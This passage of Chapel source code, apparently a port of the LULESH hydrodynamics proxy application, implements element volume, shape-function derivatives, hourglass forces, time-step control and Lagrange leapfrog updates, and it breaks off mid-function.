surface\n  initFreeSurface(freeSurface);\n\n  forall n in freeSurface do\n    surfaceNode[n] = 1;\n\n  forall e in Elems do {\n    var mask: int;\n    for i in 1..nodesPerElem do\n      mask += surfaceNode[elemToNode[e][i]] << (i-1);\n\n    if ((mask & 0x0f) == 0x0f) then elemBC[e] |= ZETA_M_FREE;\n    if ((mask & 0xf0) == 0xf0) then elemBC[e] |= ZETA_P_FREE;\n    if ((mask & 0x33) == 0x33) then elemBC[e] |= ETA_M_FREE;\n    if ((mask & 0xcc) == 0xcc) then elemBC[e] |= ETA_P_FREE;\n    if ((mask & 0x99) == 0x99) then elemBC[e] |= XI_M_FREE;\n    if ((mask & 0x66) == 0x66) then elemBC[e] |= XI_P_FREE;\n  }\n\n  if debug {\n    writeln(\"elemBC:\");\n    for b in elemBC do writeln(b);\n  }\n\n  return loc;\n}\n\n\n/* Helper functions */\n\ninline proc localizeNeighborNodes(eli: index(Elems),\n                                  x: [] real, ref x_local: 8*real,\n                                  y: [] real, ref y_local: 8*real,\n                                  z: [] real, ref z_local: 8*real) {\n\n  for i in 1..nodesPerElem {\n    const noi = elemToNode[eli][i];\n\n    x_local[i] = x[noi];\n    y_local[i] = y[noi];\n    z_local[i] = z[noi];\n  }\n}\n\ninline proc TripleProduct(x1, y1, z1, x2, y2, z2, x3, y3, z3) {\n  return x1*(y2*z3 - z2*y3) + x2*(z1*y3 - y1*z3) + x3*(y1*z2 - z1*y2);\n}\n\n\nproc CalcElemVolume(x, y, z) {\n  const dx61 = x[7] - x[2],\n        dy61 = y[7] - y[2],\n        dz61 = z[7] - z[2],\n\n        dx70 = x[8] - x[1],\n        dy70 = y[8] - y[1],\n        dz70 = z[8] - z[1],\n\n        dx63 = x[7] - x[4],\n        dy63 = y[7] - y[4],\n        dz63 = z[7] - z[4],\n\n        dx20 = x[3] - x[1],\n        dy20 = y[3] - y[1],\n        dz20 = z[3] - z[1],\n\n        dx50 = x[6] - x[1],\n        dy50 = y[6] - y[1],\n        dz50 = z[6] - z[1],\n\n        dx64 = x[7] - x[5],\n        dy64 = y[7] - y[5],\n        dz64 = z[7] - z[5],\n\n        dx31 = x[4] - x[2],\n        dy31 = y[4] - y[2],\n        dz31 = z[4] - z[2],\n\n        dx72 = x[8] - x[3],\n        dy72 = y[8] - y[3],\n        dz72 = z[8] - z[3],\n\n        dx43 = x[5] - x[4],\n        dy43 = y[5] - y[4],\n        dz43 = z[5] - z[4],\n\n        dx57 = x[6] - x[8],\n        dy57 = y[6] - y[8],\n        dz57 = z[6] - z[8],\n\n        dx14 = x[2] - x[5],\n        dy14 = y[2] - y[5],\n        dz14 = z[2] - z[5],\n\n        dx25 = x[3] - x[6],\n        dy25 = y[3] - y[6],\n        dz25 = z[3] - z[6];\n\n  const volume = TripleProduct(dx31 + dx72, dx63, dx20,\n                               dy31 + dy72, dy63, dy20,\n                               dz31 + dz72, dz63, dz20) +\n                 TripleProduct(dx43 + dx57, dx64, dx70,\n                               dy43 + dy57, dy64, dy70,\n                               dz43 + dz57, dz64, dz70) +\n                 TripleProduct(dx14 + dx25, dx61, dx50,\n                               dy14 + dy25, dy61, dy50,\n                               dz14 + dz25, dz61, dz50);\n\n  return volume / 12.0;\n}\n\nproc InitStressTermsForElems(p, q, sigxx, sigyy, sigzz: [?D] real) {\n  forall i in D {\n    sigxx[i] = -p[i] - q[i];\n    sigyy[i] = -p[i] - q[i];\n    sigzz[i] = -p[i] - q[i];\n  }\n}\n\n\nproc CalcElemShapeFunctionDerivatives(x: 8*real, y: 8*real, z: 8*real, \n                                      ref b_x: 8*real,\n                                      ref b_y: 8*real,\n                                      ref b_z: 8*real, \n                                      ref volume: real) {\n\n  const fjxxi = .125 * ((x[7]-x[1]) + (x[6]-x[4]) - (x[8]-x[2]) - (x[5]-x[3])),\n        fjxet = .125 * ((x[7]-x[1]) - (x[6]-x[4]) + (x[8]-x[2]) - (x[5]-x[3])),\n        fjxze = .125 * ((x[7]-x[1]) + (x[6]-x[4]) + (x[8]-x[2]) + (x[5]-x[3])),\n\n        fjyxi = .125 * ((y[7]-y[1]) + (y[6]-y[4]) - (y[8]-y[2]) - (y[5]-y[3])),\n        fjyet = .125 * ((y[7]-y[1]) - (y[6]-y[4]) + (y[8]-y[2]) - (y[5]-y[3])),\n        fjyze = .125 * ((y[7]-y[1]) + (y[6]-y[4]) + (y[8]-y[2]) + (y[5]-y[3])),\n\n        fjzxi = .125 * ((z[7]-z[1]) + (z[6]-z[4]) - (z[8]-z[2]) - (z[5]-z[3])),\n        fjzet = .125 * ((z[7]-z[1]) - (z[6]-z[4]) + (z[8]-z[2]) - (z[5]-z[3])),\n        fjzze = .125 * ((z[7]-z[1]) + (z[6]-z[4]) + (z[8]-z[2]) + (z[5]-z[3]));\n\n  /* compute cofactors */\n  const cjxxi =    (fjyet * fjzze) - (fjzet * fjyze),\n        cjxet =  - (fjyxi * fjzze) + (fjzxi * fjyze),\n        cjxze =    (fjyxi * fjzet) - (fjzxi * fjyet),\n\n        cjyxi =  - (fjxet * fjzze) + (fjzet * fjxze),\n        cjyet =    (fjxxi * fjzze) - (fjzxi * fjxze),\n        cjyze =  - (fjxxi * fjzet) + (fjzxi * fjxet),\n\n        cjzxi =    (fjxet * fjyze) - (fjyet * fjxze),\n        cjzet =  - (fjxxi * fjyze) + (fjyxi * fjxze),\n        cjzze =    (fjxxi * fjyet) - (fjyxi * fjxet);\n\n  /* calculate partials :\n     this need only be done for l = 0,1,2,3   since , by symmetry ,\n     (6,7,4,5) = - (0,1,2,3) .\n  */\n  b_x[1] =   -  cjxxi  -  cjxet  -  cjxze;\n  b_x[2] =      cjxxi  -  cjxet  -  cjxze;\n  b_x[3] =      cjxxi  +  cjxet  -  cjxze;\n  b_x[4] =   -  cjxxi  +  cjxet  -  cjxze;\n  b_x[5] = -b_x[3];\n  b_x[6] = -b_x[4];\n  b_x[7] = -b_x[1];\n  b_x[8] = -b_x[2];\n\n  b_y[1] =   -  cjyxi  -  cjyet  -  cjyze;\n  b_y[2] =      cjyxi  -  cjyet  -  cjyze;\n  b_y[3] =      cjyxi  +  cjyet  -  cjyze;\n  b_y[4] =   -  cjyxi  +  cjyet  -  cjyze;\n  b_y[5] = -b_y[3];\n  b_y[6] = -b_y[4];\n  b_y[7] = -b_y[1];\n  b_y[8] = -b_y[2];\n\n  b_z[1] =   -  cjzxi  -  cjzet  -  cjzze;\n  b_z[2] =      cjzxi  -  cjzet  -  cjzze;\n  b_z[3] =      cjzxi  +  cjzet  -  cjzze;\n  b_z[4] =   -  cjzxi  +  cjzet  -  cjzze;\n  b_z[5] = -b_z[3];\n  b_z[6] = -b_z[4];\n  b_z[7] = -b_z[1];\n  b_z[8] = -b_z[2];\n\n  /* calculate jacobian determinant (volume) */\n  volume = 8.0 * ( fjxet * cjxet + fjyet * cjyet + fjzet * cjzet);\n}\n\n\nproc CalcElemNodeNormals(ref pfx: 8*real, ref pfy: 8*real, ref pfz: 8*real, \n                         x: 8*real, y: 8*real, z: 8*real) {\n\n  proc ElemFaceNormal(param n1, param n2, param n3, param n4) {\n    const bisectX0 = 0.5 * (x[n4] + x[n3] - x[n2] - x[n1]),\n          bisectY0 = 0.5 * (y[n4] + y[n3] - y[n2] - y[n1]),\n          bisectZ0 = 0.5 * (z[n4] + z[n3] - z[n2] - z[n1]),\n          bisectX1 = 0.5 * (x[n3] + x[n2] - x[n4] - x[n1]),\n          bisectY1 = 0.5 * (y[n3] + y[n2] - y[n4] - y[n1]),\n          bisectZ1 = 0.5 * (z[n3] + z[n2] - z[n4] - z[n1]),\n          areaX    = 0.25 * (bisectY0 * bisectZ1 - bisectZ0 * bisectY1),\n          areaY    = 0.25 * (bisectZ0 * bisectX1 - bisectX0 * bisectZ1),\n          areaZ    = 0.25 * (bisectX0 * bisectY1 - bisectY0 * bisectX1);\n\n    var rx, ry, rz: 8*real; //results\n\n    (rx[n1], rx[n2], rx[n3], rx[n4]) = (areaX, areaX, areaX, areaX);\n    (ry[n1], ry[n2], ry[n3], ry[n4]) = (areaY, areaY, areaY, areaY);\n    (rz[n1], rz[n2], rz[n3], rz[n4]) = (areaZ, areaZ, areaZ, areaZ);\n\n    return (rx, ry, rz);\n  }\n\n  // calculate total normal from each face (faces are made up of\n  // combinations of nodes)\n\n  (pfx, pfy, pfz) = ElemFaceNormal(1,2,3,4) + ElemFaceNormal(1,5,6,2) +\n                    ElemFaceNormal(2,6,7,3) + ElemFaceNormal(3,7,8,4) +\n                    ElemFaceNormal(4,8,5,1) + ElemFaceNormal(5,8,7,6);\n}\n\n\nproc SumElemStressesToNodeForces(b_x: 8*real, b_y: 8*real, b_z: 8*real, \n                                 stress_xx:real,\n                                 stress_yy:real,\n                                 stress_zz: real, \n                                 ref fx: 8*real,\n                                 ref fy: 8*real,\n                                 ref fz: 8*real) {\n  for i in 1..8 {\n    fx[i] = -(stress_xx * b_x[i]);\n    fy[i] = -(stress_yy * b_y[i]);\n    fz[i] = -(stress_zz * b_z[i]);\n  }\n}\n\nproc CalcElemVolumeDerivative(x: 8*real, y: 8*real, z: 8*real) {\n\n  proc VoluDer(param n0, param n1, param n2, param n3, param n4, param n5) {\n    const ox =   (y[n1] + y[n2]) * (z[n0] + z[n1]) \n               - (y[n0] + y[n1]) * (z[n1] + z[n2])\n               + (y[n0] + y[n4]) * (z[n3] + z[n4]) \n               - (y[n3] + y[n4]) * (z[n0] + z[n4])\n               - (y[n2] + y[n5]) * (z[n3] + z[n5])\n               + (y[n3] + y[n5]) * (z[n2] + z[n5]),\n          oy = - (x[n1] + x[n2]) * (z[n0] + z[n1])\n               + (x[n0] + x[n1]) * (z[n1] + z[n2])\n               - (x[n0] + x[n4]) * (z[n3] + z[n4])\n               + (x[n3] + x[n4]) * (z[n0] + z[n4])\n               + (x[n2] + x[n5]) * (z[n3] + z[n5])\n               - (x[n3] + x[n5]) * (z[n2] + z[n5]),\n          oz = - (y[n1] + y[n2]) * (x[n0] + x[n1])\n               + (y[n0] + y[n1]) * (x[n1] + x[n2])\n               - (y[n0] + y[n4]) * (x[n3] + x[n4])\n               + (y[n3] + y[n4]) * (x[n0] + x[n4])\n               + (y[n2] + y[n5]) * (x[n3] + x[n5])\n               - (y[n3] + y[n5]) * (x[n2] + x[n5]);\n\n    return (ox/12.0, oy/12.0, oz/12.0);\n  }\n\n  var dvdx, dvdy, dvdz: 8*real;\n\n  (dvdx[1], dvdy[1], dvdz[1]) = VoluDer(2,3,4,5,6,8);\n  (dvdx[4], dvdy[4], dvdz[4]) = VoluDer(1,2,3,8,5,7);\n  (dvdx[3], dvdy[3], dvdz[3]) = VoluDer(4,1,2,7,8,6);\n  (dvdx[2], dvdy[2], dvdz[2]) = VoluDer(3,4,1,6,7,5);\n  (dvdx[5], dvdy[5], dvdz[5]) = VoluDer(8,7,6,1,4,2);\n  (dvdx[6], dvdy[6], dvdz[6]) = VoluDer(5,8,7,2,1,3);\n  (dvdx[7], dvdy[7], dvdz[7]) = VoluDer(6,5,8,3,2,4);\n  (dvdx[8], dvdy[8], dvdz[8]) = VoluDer(7,6,5,4,3,1);\n\n  return (dvdx, dvdy, dvdz);\n}\n\ninline proc CalcElemFBHourglassForce(xd: 8*real, yd: 8*real, zd: 8*real,\n                                     hourgam: 8*(4*real),\n                                     coefficient: real,\n                                     ref hgfx: 8*real,\n                                     ref hgfy: 8*real,\n                                     ref hgfz: 8*real) {\n  var hx, hy, hz: 4*real;\n\n  // reduction\n  for i in 1..4 {\n    for j in 1..8 {\n      hx[i] += hourgam[j][i] * xd[j];\n      hy[i] += hourgam[j][i] * yd[j];\n      hz[i] += hourgam[j][i] * zd[j];\n    }\n  }\n\n  for i in 1..8 {\n    var shx, shy, shz: real;\n    for j in 1..4 {\n      shx += hourgam[i][j] * hx[j];\n      shy += hourgam[i][j] * hy[j];\n      shz += hourgam[i][j] * hz[j];\n    }\n    hgfx[i] = coefficient * shx;\n    hgfy[i] = coefficient * shy;\n    hgfz[i] = coefficient * shz;\n  }\n}\n\n\nproc CalcElemCharacteristicLength(x, y, z, volume) {\n  proc AreaFace(param p0, param p1, param p2, param p3) {\n    const fx = (x[p2] - x[p0]) - (x[p3] - x[p1]),\n          fy = (y[p2] - y[p0]) - (y[p3] - y[p1]),\n          fz = (z[p2] - z[p0]) - (z[p3] - z[p1]),\n          gx = (x[p2] - x[p0]) + (x[p3] - x[p1]),\n          gy = (y[p2] - y[p0]) + (y[p3] - y[p1]),\n          gz = (z[p2] - z[p0]) + (z[p3] - z[p1]),\n          area = (fx * fx + fy * fy + fz * fz) *\n                 (gx * gx + gy * gy + gz * gz) -\n                 (fx * gx + fy * gy + fz * gz) *\n                 (fx * gx + fy * gy + fz * gz);\n\n    return area ;\n  }\n\n  const charLength = max(AreaFace(1, 2, 3, 4),\n                         AreaFace(5, 6, 7, 8),\n                         AreaFace(1, 2, 6, 5),\n                         AreaFace(2, 3, 7, 6),\n                         AreaFace(3, 4, 8, 7),\n                         AreaFace(4, 1, 5, 8));\n\n  return 4.0 * volume / sqrt(charLength);\n}\n\n\nproc CalcElemVelocityGradient(xvel, yvel, zvel, pfx,  pfy, pfz,\n                              detJ, ref d: 6*real) {\n  const inv_detJ = 1.0 / detJ;\n\n  d[1] = inv_detJ * ( pfx[1] * (xvel[1]-xvel[7])\n                    + pfx[2] * (xvel[2]-xvel[8])\n                    + pfx[3] * (xvel[3]-xvel[5])\n                    + pfx[4] * (xvel[4]-xvel[6]) );\n  d[2] = inv_detJ * ( pfy[1] * (yvel[1]-yvel[7])\n                    + pfy[2] * (yvel[2]-yvel[8])\n                    + pfy[3] * (yvel[3]-yvel[5])\n                    + pfy[4] * (yvel[4]-yvel[6]) );\n  d[3] = inv_detJ * ( pfz[1] * (zvel[1]-zvel[7])\n                    + pfz[2] * (zvel[2]-zvel[8])\n                    + pfz[3] * (zvel[3]-zvel[5])\n                    + pfz[4] * (zvel[4]-zvel[6]) );\n\n  const dyddx  = inv_detJ * ( pfx[1] * (yvel[1]-yvel[7])\n                            + pfx[2] * (yvel[2]-yvel[8])\n                            + pfx[3] * (yvel[3]-yvel[5])\n                            + pfx[4] * (yvel[4]-yvel[6]) ),\n\n        dxddy  = inv_detJ * ( pfy[1] * (xvel[1]-xvel[7])\n                            + pfy[2] * (xvel[2]-xvel[8])\n                            + pfy[3] * (xvel[3]-xvel[5])\n                            + pfy[4] * (xvel[4]-xvel[6]) ),\n\n        dzddx  = inv_detJ * ( pfx[1] * (zvel[1]-zvel[7])\n                            + pfx[2] * (zvel[2]-zvel[8])\n                            + pfx[3] * (zvel[3]-zvel[5])\n                            + pfx[4] * (zvel[4]-zvel[6]) ),\n\n        dxddz  = inv_detJ * ( pfz[1] * (xvel[1]-xvel[7])\n                            + pfz[2] * (xvel[2]-xvel[8])\n                            + pfz[3] * (xvel[3]-xvel[5])\n                            + pfz[4] * (xvel[4]-xvel[6]) ),\n\n        dzddy  = inv_detJ * ( pfy[1] * (zvel[1]-zvel[7])\n                            + pfy[2] * (zvel[2]-zvel[8])\n                            + pfy[3] * (zvel[3]-zvel[5])\n                            + pfy[4] * (zvel[4]-zvel[6]) ),\n\n        dyddz  = inv_detJ * ( pfz[1] * (yvel[1]-yvel[7])\n                            + pfz[2] * (yvel[2]-yvel[8])\n                            + pfz[3] * (yvel[3]-yvel[5])\n                            + pfz[4] * (yvel[4]-yvel[6]) );\n\n  d[6]  = 0.5 * ( dxddy + dyddx );\n  d[5]  = 0.5 * ( dxddz + dzddx );\n  d[4]  = 0.5 * ( dzddy + dyddz );\n}\n\n\nproc CalcPressureForElems(p_new: [?D] real, bvc, pbvc, \n                          e_old, compression, vnewc,\n                          pmin: real, p_cut: real, eosvmax: real) {\n\n  //\n  // TODO: Uncomment local once sparse domain is distributed\n  //\n  forall i in D /* do local */ {\n    const c1s = 2.0 / 3.0;\n    bvc[i] = c1s * (compression[i] + 1.0);\n    pbvc[i] = c1s;\n  }\n\n  forall i in D {\n    p_new[i] = bvc[i] * e_old[i];\n\n    if abs(p_new[i]) < p_cut then p_new[i] = 0.0;\n    if vnewc[i] >= eosvmax then p_new[i] = 0.0; //impossible?\n    if p_new[i] < pmin then p_new[i] = pmin;\n  }\n}\n\n\nproc TimeIncrement() {\n  var targetdt = stoptime - time;\n\n  if dtfixed <= 0.0 && cycle != 0 { //don't do this the first cycle\n    var olddt = deltatime,\n        newdt = 1.0e20;\n\n    if dtcourant < newdt then newdt = dtcourant / 2.0;\n    if dthydro < newdt then   newdt = 2.0/3.0 * dthydro;\n\n    const ratio = newdt / olddt;\n    if ratio >= 1.0 {\n      if ratio < deltatimemultlb then      newdt = olddt;\n      else if ratio > deltatimemultub then newdt = olddt * deltatimemultub;\n    }\n    if newdt > dtmax then newdt = dtmax;\n\n    deltatime = newdt;\n  }\n\n  /* TRY TO PREVENT VERY SMALL SCALING ON THE NEXT CYCLE */\n  if targetdt > deltatime && targetdt < (4.0/3.0 * deltatime) {\n    targetdt = 2.0/3.0 * deltatime;\n  }\n  if targetdt < deltatime then deltatime = targetdt;\n\n  time += deltatime;\n  cycle += 1;\n}\n\ninline proc LagrangeLeapFrog() {\n  /* calculate nodal forces, accelerations, velocities, positions, with\n   * applied boundary conditions and slide surface considerations */\n  LagrangeNodal();\n\n  /* calculate element quantities (i.e. velocity gradient & q), and update\n   * material states */\n  LagrangeElements();\n\n  CalcTimeConstraintsForElems();\n}\n\n\ninline proc LagrangeNodal() {\n  CalcForceForNodes();\n\n  CalcAccelerationForNodes();\n\n  ApplyAccelerationBoundaryConditionsForNodes();\n\n  CalcVelocityForNodes(deltatime, u_cut);\n\n  CalcPositionForNodes(deltatime);\n}\n\n\ninline proc LagrangeElements() {\n  CalcLagrangeElements();\n\n  /* Calculate Q.  (Monotonic q option requires communication) */\n  CalcQForElems();\n\n  ApplyMaterialPropertiesForElems();\n\n  UpdateVolumesForElems();\n}\n\n\ninline proc CalcTimeConstraintsForElems() {\n  /* evaluate time constraint */\n  CalcCourantConstraintForElems();\n\n  /* check hydro constraint */\n  CalcHydroConstraintForElems();\n}\n\n\ninline proc computeDTF(indx) {\n  const myvdov = vdov[indx];\n\n  if myvdov == 0.0 then\n    return max(real);\n\n  const myarealg = arealg[indx];\n  var dtf = ss[indx]**2;\n  if myvdov < 0.0 then\n    dtf += qqc2 * myarealg**2 * myvdov**2;\n  dtf = sqrt(dtf);\n  dtf = myarealg / dtf;\n\n  return dtf;\n}\n\n\nproc CalcCourantConstraintForElems() {\n  const val = min reduce [indx in MatElems] computeDTF(indx);\n\n  if (val != max(real)) then\n    dtcourant = val;\n}\n\n\ninline proc calcDtHydroTmp(indx) {\n  const myvdov = vdov[indx];\n  if (myvdov == 0.0) then\n    return max(real);\n  else\n    return dvovmax / (abs(myvdov)+1.0e-20);\n}\n\n\nproc CalcHydroConstraintForElems() {\n  const val = min reduce [indx in MatElems] calcDtHydroTmp(indx);\n\n  if (val != max(real)) then\n    dthydro = val;\n}\n\n\n/* calculate nodal forces, accelerations, velocities, positions, with\n * applied boundary conditions and slide surface considerations */\n\nproc CalcForceForNodes() {\n  //zero out all forces\n  forall x in fx do x.write(0);\n  forall y in fy do y.write(0);\n  forall z in fz do z.write(0);\n\n  /* Calcforce calls partial, force, hourq */\n  CalcVolumeForceForElems();\n\n  /* Calculate Nodal Forces at domain boundaries */\n  // this was commented out in C++ code, so left out here\n}\n\nproc CalcVolumeForceForElems() {\n  var sigxx, sigyy, sigzz, determ: [Elems] real;\n\n  /* Sum contributions to total stress tensor */\n  InitStressTermsForElems(p, q, sigxx, sigyy, sigzz);\n\n  /* call elemlib stress integration loop to produce nodal forces from\n     material stresses. */\n  IntegrateStressForElems(sigxx, sigyy, sigzz, determ);\n\n  /* check for negative element volume */\n  forall e in Elems {\n    if determ[e] <= 0.0 then\n      halt(\"can't have negative volume (determ[\", e, \"]=\", determ[e], \")\");\n  }\n\n  CalcHourglassControlForElems(determ);\n}\n\n\nproc IntegrateStressForElems(sigxx, sigyy, sigzz, determ) {\n  forall k in Elems {\n    var b_x, b_y, b_z: 8*real;\n    var x_local, y_local, z_local: 8*real;\n    localizeNeighborNodes(k, x, x_local, y, y_local, z, z_local);\n\n    var fx_local, fy_local, fz_local: 8*real;\n\n    local {\n      /* Volume calculation involves extra work for numerical consistency. */\n      CalcElemShapeFunctionDerivatives(x_local, y_local, z_local, \n                                       b_x, b_y, b_z, determ[k]);\n    \n      CalcElemNodeNormals(b_x, b_y, b_z, x_local, y_local, z_local);\n\n      SumElemStressesToNodeForces(b_x, b_y, b_z, sigxx[k], sigyy[k], sigzz[k], \n                                  fx_local, fy_local, fz_local);\n    }\n\n    for (noi, t) in elemToNodesTuple(k) {\n      fx[noi].add(fx_local[t]);\n      fy[noi].add(fy_local[t]);\n      fz[noi].add(fz_local[t]);\n    }\n  }\n}\n\n\nproc CalcHourglassControlForElems(determ) {\n  var dvdx, dvdy, dvdz, x8n, y8n, z8n: [Elems] 8*real;\n\n  forall eli in Elems {\n    /* Collect domain nodes to elem nodes */\n    var x1, y1, z1: 8*real;\n    localizeNeighborNodes(eli, x, x1, y, y1, z, z1);\n    var pfx, pfy, pfz: 8*real;\n\n    local {\n      /* load into temporary storage for FB Hour Glass control */\n      (dvdx[eli], dvdy[eli], dvdz[eli]) = CalcElemVolumeDerivative(x1, y1, z1);\n    }\n\n    x8n[eli]  = x1;\n    y8n[eli]  = y1;\n    z8n[eli]  = z1;\n\n    determ[eli] = volo[eli] * v[eli];\n  }\n\n  /* Do a check for negative volumes */\n  forall e in Elems {\n    if v[e] <= 0.0 then\n      halt(\"can't have negative (or zero) volume. (in Hourglass, v[\", e, \"]=\", v[e], \")\");\n  }\n\n  if hgcoef > 0.0 {\n    CalcFBHourglassForceForElems(determ, x8n, y8n, z8n, dvdx, dvdy, dvdz);\n  }\n}\n\n\nconst gammaCoef: 4*(8*real) = // WAS: [1..4, 1..8] real = \n                (( 1.0,  1.0, -1.0, -1.0, -1.0, -1.0,  1.0,  1.0),\n                 ( 1.0, -1.0, -1.0,  1.0, -1.0,  1.0,  1.0, -1.0),\n                 ( 1.0, -1.0,  1.0, -1.0,  1.0, -1.0,  1.0, -1.0),\n                 (-1.0,  1.0, -1.0,  1.0,  1.0, -1.0,  1.0, -1.0));\n\n/* Calculates the Flanagan-Belytschko anti-hourglass force. */\nproc CalcFBHourglassForceForElems(determ, x8n, y8n, z8n, dvdx, dvdy, dvdz) {\n\n  /* compute the hourglass modes */\n  forall eli in Elems {\n    var hourgam: 8*(4*real);\n    const volinv = 1.0 / determ[eli];\n    var ss1, mass1, volume13: real;\n    var hgfx, hgfy, hgfz: 8*real;\n    var coefficient: real;\n\n    var xd1, yd1, zd1: 8*real;\n    localizeNeighborNodes(eli, xd, xd1, yd, yd1, zd, zd1);\n\n    /* TODO: Can we enable this local block? */\n    // local {\n      for i in 1..4 {\n        var hourmodx, hourmody, hourmodz: real;\n        // reduction\n        for j in 1..8 {\n          hourmodx += x8n[eli][j] * gammaCoef[i][j];\n          hourmody += y8n[eli][j] * gammaCoef[i][j];\n          hourmodz += z8n[eli][j] * gammaCoef[i][j];\n        }\n\n        for j in 1..8 {\n          hourgam[j][i] = gammaCoef[i][j] - volinv * \n            (dvdx[eli][j] * hourmodx +\n             dvdy[eli][j] * hourmody +\n             dvdz[eli][j] * hourmodz);\n        }\n      }\n\n      /* compute forces */\n      /* store forces into h arrays (force arrays) */\n      ss1 = ss[eli];\n      mass1 = elemMass[eli];\n      volume13 = cbrt(determ[eli]);\n\n      coefficient = - hgcoef * 0.01 * ss1 * mass1 / volume13;\n\n      CalcElemFBHourglassForce(xd1, yd1, zd1, hourgam, coefficient,\n                               hgfx, hgfy, hgfz);\n      // } // end local\n\n    for (noi,i) in elemToNodesTuple(eli) {\n      fx[noi].add(hgfx[i]);\n      fy[noi].add(hgfy[i]);\n      fz[noi].add(hgfz[i]);\n    }\n  }\n}\n\n\nproc CalcAccelerationForNodes() {\n  forall noi in Nodes do local {\n      xdd[noi] = fx[noi].read() / nodalMass[noi];\n      ydd[noi] = fy[noi].read() / nodalMass[noi];\n      zdd[noi] = fz[noi].read() / nodalMass[noi];\n    }\n}\n\n\nproc ApplyAccelerationBoundaryConditionsForNodes() {\n  // TODO: Shouldn't we be able to write these as follows?\n  //\n  // xdd[XSym] = 0.0;\n  // ydd[YSym] = 0.0;\n  // zdd[ZSym] = 0.0;\n  \n  forall x in XSym do xdd[x] = 0.0;\n  forall y in YSym do ydd[y] = 0.0;\n  forall z in ZSym do zdd[z] = 0.0;\n}\n\n\nproc CalcVelocityForNodes(dt: real, u_cut: real) {\n  forall i in Nodes do local {\n    var xdtmp = xd[i] + xdd[i] * dt,\n        ydtmp = yd[i] + ydd[i] * dt,\n        zdtmp = zd[i] + zdd[i] * dt;\n    if abs(xdtmp) < u_cut then xdtmp = 0.0;\n    if abs(ydtmp) < u_cut then ydtmp = 0.0;\n    if abs(zdtmp) < u_cut then zdtmp = 0.0;\n    xd[i] = xdtmp;\n    yd[i] = ydtmp;\n    zd[i] = zdtmp;\n  }\n}\n\n\nproc CalcPositionForNodes(dt: real) {\n  forall ijk in Nodes {\n    x[ijk] += xd[ijk] * dt;\n    y[ijk] += yd[ijk] * dt;\n    z[ijk] += zd[ijk] * dt;\n  }\n}\n\n// sungeun: Temporary array reused throughout\nproc CalcLagrangeElements() {\n  var dxx, dyy, dzz: [Elems] real;\n\n  CalcKinematicsForElems(dxx, dyy, dzz, deltatime);\n\n  // element loop to do some stuff not included in the elemlib function.\n  forall k in Elems do local {\n    vdov[k] = dxx[k] + dyy[k] + dzz[k];\n    var vdovthird = vdov[k] / 3.0;\n    dxx[k] -= vdovthird;\n    dyy[k] -= vdovthird;\n    dzz[k] -= vdovthird;\n  }\n\n  // See if any volumes are negative, and take appropriate action.\n  forall e in Elems {\n    if vnew[e] <= 0.0 then\n      halt(\"can't have negative volume (vnew[\", e, \"]=\", vnew[e], \")\");\n  }\n}\n\n\nproc CalcKinematicsForElems(dxx, dyy, dzz, const dt: real) {\n  // loop over all elements\n  forall k in Elems {\n    var b_x, b_y, b_z: 8*real,\n        d: 6*real,\n        detJ: real;\n\n    //get nodal coordinates from global arrays and copy into local arrays\n    var x_local, y_local, z_local: 8*real;\n    localizeNeighborNodes(k, x, x_local, y, y_local, z, z_local);\n\n    //get nodal velocities from global arrays and copy into local arrays\n    var xd_local, yd_local, zd_local: 8*real;\n    localizeNeighborNodes(k, xd, xd_local, yd, yd_local, zd, zd_local);\n    var dt2 = 0.5 * dt; //wish this was local, too...\n\n    local {\n      //volume calculations\n      const volume = CalcElemVolume(x_local, y_local, z_local);\n      const relativeVolume = volume / volo[k];\n      vnew[k] = relativeVolume;\n      delv[k] = relativeVolume - v[k];\n\n      //set characteristic length\n      arealg[k] = CalcElemCharacteristicLength(x_local, y_local, z_local,\n                                               volume);\n\n      for i in 1..8 {\n        x_local[i] -= dt2 * xd_local[i];\n        y_local[i] -= dt2 * yd_local[i];\n        z_local[i] -= dt2 * zd_local[i];\n      }\n\n      CalcElemShapeFunctionDerivatives(x_local, y_local, z_local,\n                                       b_x, b_y, b_z, detJ);\n\n      CalcElemVelocityGradient(xd_local, yd_local, zd_local, b_x, b_y, b_z,\n                               detJ, d);\n\n    }\n\n    // put velocity gradient quantities into their global arrays.\n    dxx[k] = d[1];\n    dyy[k] = d[2];\n    dzz[k] = d[3];\n  }\n}\n\n\n// sungeun: Temporary array reused throughout\n/* velocity gradient */\nvar delv_xi, delv_eta, delv_zeta: [Elems] real;\n/* position gradient */\nvar delx_xi, delx_eta, delx_zeta: [Elems] real;\n\nproc CalcQForElems() {\n  // MONOTONIC Q option\n\n  /* Calculate velocity gradients */\n  CalcMonotonicQGradientsForElems(delv_xi, delv_eta, delv_zeta, \n                                  delx_xi, delx_eta, delx_zeta);\n\n  /* Transfer veloctiy gradients in the first order elements */\n  /* problem->commElements->Transfer(CommElements::monoQ) ; */\n  CalcMonotonicQForElems(delv_xi, delv_eta, delv_zeta,\n                         delx_xi, delx_eta, delx_zeta);\n\n  /* Don't allow excessive artificial viscosity */\n  forall e in Elems {\n    if q[e] > qstop then\n      halt(\"Excessive artificial viscosity!  (q[\", e, \"]=\", q[e], \")\");\n  }\n}\n\n\n// sungeun: Temporary array reused throughout\nvar vnewc: [MatElems] real;\n\n/* Expose all of the variables needed for material evaluation */\nproc ApplyMaterialPropertiesForElems() {\n\n  forall i in MatElems do vnewc[i] = vnew[i];\n\n  if eosvmin != 0.0 then\n    [c in vnewc] if c < eosvmin then c = eosvmin;\n\n  if eosvmax != 0.0 then\n    [c in vnewc] if c > eosvmax then c = eosvmax;\n\n\n  // old comment: The following loop should compute min/max reductions;\n  // currently, race-y\n\n  forall matelm in MatElems {\n    var vc = v[matelm];\n    if eosvmin != 0.0 && vc < eosvmin then vc = eosvmin;\n    if eosvmax != 0.0 && vc > eosvmax then vc = eosvmax;\n    if vc <= 0.0 {\n      writeln(\"Volume error (in ApplyMaterialProperiesForElems).\");\n      exit(1);\n    }\n  }\n\n  EvalEOSForElems(vnewc);\n}\n\n\nproc UpdateVolumesForElems() {\n  forall i in Elems do local {\n    var tmpV = vnew[i];\n    if abs(tmpV-1.0) < v_cut then tmpV = 1.0;\n    v[i] = tmpV;\n  }\n}\n\n\nproc CalcMonotonicQGradientsForElems(delv_xi, delv_eta, delv_zeta, \n                                     delx_xi, delx_eta, delx_zeta) {\n  forall eli in Elems {\n    const ptiny = 1.0e-36;\n    var xl, yl, zl: 8*real;\n    localizeNeighborNodes(eli, x, xl, y, yl, z, zl);\n    var xvl, yvl, zvl: 8*real;\n    localizeNeighborNodes(eli, xd, xvl, yd, yvl, zd, zvl);\n\n    local {\n      const vol = volo[eli] * 